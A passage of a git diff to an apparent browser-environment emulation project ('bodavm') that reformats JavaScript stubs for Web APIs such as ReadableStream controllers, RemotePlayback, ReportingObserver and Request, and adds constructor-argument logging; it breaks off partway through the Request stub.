a/env_xbb_lastest_jsdom/env/ReadableStreamBYOBRequest.js +++ b/env_xbb_lastest_jsdom/env/ReadableStreamBYOBRequest.js @@ -1,6 +1,41 @@ -// ReadableStreamBYOBRequest对象 -bodavm.memory.globalobj['ReadableStreamBYOBRequest'] = function ReadableStreamBYOBRequest(){if (!(this instanceof ReadableStreamBYOBRequest)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableStreamBYOBRequest'], "ReadableStreamBYOBRequest"); -bodavm.toolsFunc.defineProperty('ReadableStreamBYOBRequest', "view", {configurable:true, enumerable:true, get:function view (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBRequest'].prototype, "ReadableStreamBYOBRequest", "view_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStreamBYOBRequest', "respond", {configurable:true, enumerable:true, writable:true, value:function respond (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBRequest'].prototype, "ReadableStreamBYOBRequest", "respond", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStreamBYOBRequest', "respondWithNewView", {configurable:true, enumerable:true, writable:true, value:function respondWithNewView (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBRequest'].prototype, "ReadableStreamBYOBRequest", "respondWithNewView", arguments)}},'prototype'); +// ReadableStreamBYOBRequest对象 + +bodavm.memory.globalobj['ReadableStreamBYOBRequest'] = function ReadableStreamBYOBRequest() { + console.log_copy('ReadableStreamBYOBRequest 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ReadableStreamBYOBRequest)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableStreamBYOBRequest'], "ReadableStreamBYOBRequest"); +bodavm.toolsFunc.defineProperty('ReadableStreamBYOBRequest', "view", { + configurable: true, + enumerable: true, + get: function view() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBRequest'].prototype, "ReadableStreamBYOBRequest", "view_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStreamBYOBRequest', "respond", { + configurable: true, + enumerable: true, + writable: true, + value: function respond() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBRequest'].prototype, "ReadableStreamBYOBRequest", "respond", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStreamBYOBRequest', "respondWithNewView", { + configurable: true, + enumerable: true, + writable: true, + value: function respondWithNewView() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamBYOBRequest'].prototype, "ReadableStreamBYOBRequest", "respondWithNewView", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ReadableStreamDefaultController.js b/env_xbb_lastest_jsdom/env/ReadableStreamDefaultController.js index 846afd7f..827921dd 100644 --- a/env_xbb_lastest_jsdom/env/ReadableStreamDefaultController.js +++ b/env_xbb_lastest_jsdom/env/ReadableStreamDefaultController.js @@ -1,7 +1,49 @@ -// ReadableStreamDefaultController对象 -bodavm.memory.globalobj['ReadableStreamDefaultController'] = function ReadableStreamDefaultController(){if (!(this instanceof ReadableStreamDefaultController)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableStreamDefaultController'], "ReadableStreamDefaultController"); -bodavm.toolsFunc.defineProperty('ReadableStreamDefaultController', "desiredSize", {configurable:true, enumerable:true, get:function desiredSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultController'].prototype, "ReadableStreamDefaultController", "desiredSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStreamDefaultController', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultController'].prototype, "ReadableStreamDefaultController", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStreamDefaultController', "enqueue", {configurable:true, enumerable:true, writable:true, value:function enqueue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultController'].prototype, "ReadableStreamDefaultController", "enqueue", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStreamDefaultController', "error", {configurable:true, enumerable:true, writable:true, value:function error (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultController'].prototype, "ReadableStreamDefaultController", "error", arguments)}},'prototype'); +// ReadableStreamDefaultController对象 + +bodavm.memory.globalobj['ReadableStreamDefaultController'] = function ReadableStreamDefaultController() { + console.log_copy('ReadableStreamDefaultController 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ReadableStreamDefaultController)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableStreamDefaultController'], "ReadableStreamDefaultController"); +bodavm.toolsFunc.defineProperty('ReadableStreamDefaultController', "desiredSize", { + configurable: true, + enumerable: true, + get: function desiredSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultController'].prototype, "ReadableStreamDefaultController", "desiredSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStreamDefaultController', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultController'].prototype, "ReadableStreamDefaultController", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStreamDefaultController', "enqueue", { + configurable: true, + enumerable: true, + writable: true, + value: function enqueue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultController'].prototype, "ReadableStreamDefaultController", "enqueue", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStreamDefaultController', "error", { + configurable: true, + enumerable: true, + writable: true, + value: function error() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultController'].prototype, "ReadableStreamDefaultController", "error", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ReadableStreamDefaultReader.js b/env_xbb_lastest_jsdom/env/ReadableStreamDefaultReader.js index 49233f9e..3b09de9c 100644 --- a/env_xbb_lastest_jsdom/env/ReadableStreamDefaultReader.js +++ b/env_xbb_lastest_jsdom/env/ReadableStreamDefaultReader.js @@ -1,7 +1,49 @@ -// ReadableStreamDefaultReader对象 -bodavm.memory.globalobj['ReadableStreamDefaultReader'] = function ReadableStreamDefaultReader(){if (!(this instanceof ReadableStreamDefaultReader)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ReadableStreamDefaultReader': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableStreamDefaultReader'], "ReadableStreamDefaultReader"); -bodavm.toolsFunc.defineProperty('ReadableStreamDefaultReader', "read", {configurable:true, enumerable:true, writable:true, value:function read (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultReader'].prototype, "ReadableStreamDefaultReader", "read", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStreamDefaultReader', "releaseLock", {configurable:true, enumerable:true, writable:true, value:function releaseLock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultReader'].prototype, "ReadableStreamDefaultReader", "releaseLock", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStreamDefaultReader', "closed", {configurable:true, enumerable:true, get:function closed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultReader'].prototype, "ReadableStreamDefaultReader", "closed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ReadableStreamDefaultReader', "cancel", {configurable:true, enumerable:true, writable:true, value:function cancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultReader'].prototype, "ReadableStreamDefaultReader", "cancel", arguments)}},'prototype'); +// ReadableStreamDefaultReader对象 + +bodavm.memory.globalobj['ReadableStreamDefaultReader'] = function ReadableStreamDefaultReader() { + console.log_copy('ReadableStreamDefaultReader 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ReadableStreamDefaultReader)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ReadableStreamDefaultReader': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReadableStreamDefaultReader'], "ReadableStreamDefaultReader"); +bodavm.toolsFunc.defineProperty('ReadableStreamDefaultReader', "read", { + configurable: true, + enumerable: true, + writable: true, + value: function read() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultReader'].prototype, "ReadableStreamDefaultReader", "read", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStreamDefaultReader', "releaseLock", { + configurable: true, + enumerable: true, + writable: true, + value: function releaseLock() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultReader'].prototype, "ReadableStreamDefaultReader", "releaseLock", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStreamDefaultReader', "closed", { + configurable: true, + enumerable: true, + get: function closed() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultReader'].prototype, "ReadableStreamDefaultReader", "closed_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReadableStreamDefaultReader', "cancel", { + configurable: true, + enumerable: true, + writable: true, + value: function cancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReadableStreamDefaultReader'].prototype, "ReadableStreamDefaultReader", "cancel", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RelativeOrientationSensor.js b/env_xbb_lastest_jsdom/env/RelativeOrientationSensor.js index 3ff6d1c6..1a55a05b 100644 --- a/env_xbb_lastest_jsdom/env/RelativeOrientationSensor.js +++ b/env_xbb_lastest_jsdom/env/RelativeOrientationSensor.js @@ -1,5 +1,16 @@ -// RelativeOrientationSensor对象 -bodavm.memory.globalobj['RelativeOrientationSensor'] = function RelativeOrientationSensor(){this._boarg= new bodaobj.window.RelativeOrientationSensor();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RelativeOrientationSensor'], "RelativeOrientationSensor"); -bodavm.memory.globalobj['RelativeOrientationSensor'].prototype.__proto__=bodavm.memory.globalobj['OrientationSensor'].prototype; -bodavm.memory.globalobj['RelativeOrientationSensor'].__proto__=bodavm.memory.globalobj['OrientationSensor']; +// RelativeOrientationSensor对象 + +bodavm.memory.globalobj['RelativeOrientationSensor'] = function RelativeOrientationSensor() { + console.log_copy('RelativeOrientationSensor 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.RelativeOrientationSensor(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RelativeOrientationSensor'], "RelativeOrientationSensor"); +bodavm.memory.globalobj['RelativeOrientationSensor'].prototype.__proto__ = bodavm.memory.globalobj['OrientationSensor'].prototype; +bodavm.memory.globalobj['RelativeOrientationSensor'].__proto__ = bodavm.memory.globalobj['OrientationSensor']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/RemotePlayback.js b/env_xbb_lastest_jsdom/env/RemotePlayback.js index 1ac52281..6db476bb 100644 --- a/env_xbb_lastest_jsdom/env/RemotePlayback.js +++ b/env_xbb_lastest_jsdom/env/RemotePlayback.js @@ -1,12 +1,81 @@ -// RemotePlayback对象 -bodavm.memory.globalobj['RemotePlayback'] = function RemotePlayback(){if (!(this instanceof RemotePlayback)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RemotePlayback'], "RemotePlayback"); -bodavm.memory.globalobj['RemotePlayback'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['RemotePlayback'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('RemotePlayback', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RemotePlayback', "onconnecting", {configurable:true, enumerable:true, get:function onconnecting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "onconnecting_get", arguments)}, set:function onconnecting (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "onconnecting_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RemotePlayback', "onconnect", {configurable:true, enumerable:true, get:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "onconnect_get", arguments)}, set:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "onconnect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RemotePlayback', "ondisconnect", {configurable:true, enumerable:true, get:function ondisconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "ondisconnect_get", arguments)}, set:function ondisconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "ondisconnect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RemotePlayback', "cancelWatchAvailability", {configurable:true, enumerable:true, writable:true, value:function cancelWatchAvailability (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "cancelWatchAvailability", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RemotePlayback', "prompt", {configurable:true, enumerable:true, writable:true, value:function prompt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "prompt", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RemotePlayback', "watchAvailability", {configurable:true, enumerable:true, writable:true, value:function watchAvailability (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "watchAvailability", arguments)}},'prototype'); +// RemotePlayback对象 + +bodavm.memory.globalobj['RemotePlayback'] = function RemotePlayback() { + console.log_copy('RemotePlayback 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof RemotePlayback)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RemotePlayback'], "RemotePlayback"); +bodavm.memory.globalobj['RemotePlayback'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['RemotePlayback'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('RemotePlayback', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RemotePlayback', "onconnecting", { + configurable: true, + enumerable: true, + get: function onconnecting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "onconnecting_get", arguments); + }, + set: function onconnecting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "onconnecting_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RemotePlayback', "onconnect", { + configurable: true, + enumerable: true, + get: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "onconnect_get", arguments); + }, + set: function onconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "onconnect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RemotePlayback', "ondisconnect", { + configurable: true, + enumerable: true, + get: function ondisconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "ondisconnect_get", arguments); + }, + set: function ondisconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "ondisconnect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RemotePlayback', "cancelWatchAvailability", { + configurable: true, + enumerable: true, + writable: true, + value: function cancelWatchAvailability() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "cancelWatchAvailability", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RemotePlayback', "prompt", { + configurable: true, + enumerable: true, + writable: true, + value: function prompt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "prompt", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('RemotePlayback', "watchAvailability", { + configurable: true, + enumerable: true, + writable: true, + value: function watchAvailability() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RemotePlayback'].prototype, "RemotePlayback", "watchAvailability", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/ReportingObserver.js b/env_xbb_lastest_jsdom/env/ReportingObserver.js index 5893dca3..3f5a40a7 100644 --- a/env_xbb_lastest_jsdom/env/ReportingObserver.js +++ b/env_xbb_lastest_jsdom/env/ReportingObserver.js @@ -1,6 +1,41 @@ -// ReportingObserver对象 -bodavm.memory.globalobj['ReportingObserver'] = function ReportingObserver(){if (!(this instanceof ReportingObserver)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ReportingObserver': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReportingObserver'], "ReportingObserver"); -bodavm.toolsFunc.defineProperty('ReportingObserver', "disconnect", {configurable:true, enumerable:true, writable:true, value:function disconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReportingObserver'].prototype, "ReportingObserver", "disconnect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReportingObserver', "observe", {configurable:true, enumerable:true, writable:true, value:function observe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReportingObserver'].prototype, "ReportingObserver", "observe", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('ReportingObserver', "takeRecords", {configurable:true, enumerable:true, writable:true, value:function takeRecords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReportingObserver'].prototype, "ReportingObserver", "takeRecords", arguments)}},'prototype'); +// ReportingObserver对象 + +bodavm.memory.globalobj['ReportingObserver'] = function ReportingObserver() { + console.log_copy('ReportingObserver 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof ReportingObserver)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ReportingObserver': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ReportingObserver'], "ReportingObserver"); +bodavm.toolsFunc.defineProperty('ReportingObserver', "disconnect", { + configurable: true, + enumerable: true, + writable: true, + value: function disconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReportingObserver'].prototype, "ReportingObserver", "disconnect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReportingObserver', "observe", { + configurable: true, + enumerable: true, + writable: true, + value: function observe() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReportingObserver'].prototype, "ReportingObserver", "observe", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('ReportingObserver', "takeRecords", { + configurable: true, + enumerable: true, + writable: true, + value: function takeRecords() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ReportingObserver'].prototype, "ReportingObserver", "takeRecords", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Request.js b/env_xbb_lastest_jsdom/env/Request.js index f41d792a..7987bc36 100644 --- a/env_xbb_lastest_jsdom/env/Request.js +++ b/env_xbb_lastest_jsdom/env/Request.js @@ -1,25 +1,193 @@ -// Request对象 -bodavm.memory.globalobj['Request'] = function Request(){if (!(this instanceof Request)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Request': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Request'], "Request"); -bodavm.toolsFunc.defineProperty('Request', "method", {configurable:true, enumerable:true, get:function method (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "method_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "url_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "headers", {configurable:true, enumerable:true, get:function headers (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "headers_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "destination", {configurable:true, enumerable:true, get:function destination (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "destination_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "referrer", {configurable:true, enumerable:true, get:function referrer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "referrer_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "referrerPolicy", {configurable:true, enumerable:true, get:function referrerPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "referrerPolicy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "mode", {configurable:true, enumerable:true, get:function mode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "mode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "credentials", {configurable:true, enumerable:true, get:function credentials (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "credentials_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "cache", {configurable:true, enumerable:true, get:function cache (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "cache_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "redirect", {configurable:true, enumerable:true, get:function redirect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "redirect_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "integrity", {configurable:true, enumerable:true, get:function integrity (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "integrity_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "keepalive", {configurable:true, enumerable:true, get:function keepalive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "keepalive_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "signal", {configurable:true, enumerable:true, get:function signal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "signal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "isHistoryNavigation", {configurable:true, enumerable:true, get:function isHistoryNavigation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "isHistoryNavigation_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "bodyUsed", {configurable:true, enumerable:true, get:function bodyUsed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "bodyUsed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "arrayBuffer", {configurable:true, enumerable:true, writable:true, value:function arrayBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "arrayBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "blob", {configurable:true, enumerable:true, writable:true, value:function blob (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "blob", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "clone", {configurable:true, enumerable:true, writable:true, value:function clone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "clone", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "formData", {configurable:true, enumerable:true, writable:true, value:function formData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "formData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "json", {configurable:true, enumerable:true, writable:true, value:function json (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "json", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "text", {configurable:true, enumerable:true, writable:true, value:function text (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "text", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Request', "body", {configurable:true, enumerable:true, get:function body (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "body_get", arguments)}, set:undefined},'prototype'); +// Request对象 + +bodavm.memory.globalobj['Request'] = function Request() { + console.log_copy('Request 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Request)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Request': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Request'], "Request"); +bodavm.toolsFunc.defineProperty('Request', "method", { + configurable: true, + enumerable: true, + get: function method() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "method_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "url", { + configurable: true, + enumerable: true, + get: function url() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "url_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "headers", { + configurable: true, + enumerable: true, + get: function headers() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "headers_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "destination", { + configurable: true, + enumerable: true, + get: function destination() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "destination_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "referrer", { + configurable: true, + enumerable: true, + get: function referrer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "referrer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "referrerPolicy", { + configurable: true, + enumerable: true, + get: function referrerPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "referrerPolicy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "mode", { + configurable: true, + enumerable: true, + get: function mode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Request'].prototype, "Request", "mode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Request', "credentials", { + configurable: true, + enumerable: true, + get: function credentials() { + return 